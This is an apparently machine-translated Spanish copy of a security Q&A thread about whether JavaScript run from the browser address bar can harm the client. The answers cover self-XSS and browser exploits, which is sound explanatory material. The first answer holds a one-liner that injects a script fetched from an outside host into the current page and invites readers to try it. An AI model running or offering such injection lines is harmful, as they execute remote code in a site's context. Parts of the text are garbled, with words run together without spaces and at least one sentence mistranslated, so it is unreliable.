¿Puede la ejecución de javascript desde la barra de direcciones causar algún daño a la máquina del cliente?

21

Dado el hecho de que los navegadores modernos en estos días prohíben que JavaScript tenga acceso a cualquier recurso en la máquina del cliente, ¿la ejecución de JavaScript desde la barra de direcciones representa una amenaza para la máquina del cliente (la máquina en la que se ejecuta el navegador)?

    
pregunta gurvinder372 29.03.2016 - 11:44
fuente

2 respuestas

26

El JavaScript ejecutado desde la barra de direcciones se ejecutará en el contexto del sitio web que se muestra en esa pestaña. Esto significa acceso completo a ese sitio web y podría cambiar el aspecto y el comportamiento del sitio web desde el punto de vista del usuario.

Este ataque se llama self XSS y puede causar daños al usuario e indirectamente a la máquina. Un sitio web de buena reputación puede pedirle al usuario que descargue e instale una pieza maliciosa de código ejecutable simulando, por ejemplo, que necesita una actualización de Flash.

Para obtener un buen ejemplo visual de esto, escriba javascript: manualmente en su barra de direcciones y luego pegue esto: z=document.createElement("script");z.src="https://peniscorp.com/topkek.js";document.body.appendChild(z);Sinoconfíasenmí,hazloenlabarradedireccionesdeunsitiowebenelquenohayasiniciadosesión.

Lamayoríadelosnavegadoressehandadocuentade e intentan limitar el impacto eliminando javascript: cuando pegar javascript:some_js_code en la barra de direcciones. Pero todavía es posible escribirlo manualmente y ejecutarlo.

    
respondido por el Cristian Dobre 29.03.2016 - 12:16
fuente
6

Me gustaría completar la respuesta aceptada de Cristian Dobre, que es correcta pero incompleta.

La ejecución de javascript (ya sea a través de una barra de direcciones o por medios más clásicos no importa aquí) puede, en algunos casos, conducir a la ejecución remota de código al explotar los desbordamientos de búfer (o fallas similares) en los navegadores. Esta es una de las razones por las que parchear los navegadores regularmente es bastante importante.

Tales ocurrencias rara vez se descubren en la naturaleza, pero existen, y se descubren nuevas cada año (Chrome tuvo menos de Firefox que tiene MUCHO MENOS que IE, en el pasado).

Un buen ejemplo aquí en SO: enlace

Entonces, para responder a su pregunta: sí, puede dañar la máquina de un cliente. Si la máquina está completamente parchada, solo un día cero (extremadamente poco probable pero aún técnicamente posible) podría causar tal daño. Los "días cero" con tal poder se utilizan principalmente, "afortunadamente", para ataques dirigidos para evitar la atención y maximizar las posibilidades de no detección (y, por lo tanto, reutilización futura).

    
respondido por el niilzon 29.03.2016 - 15:40
fuente

Lea otras preguntas en las etiquetas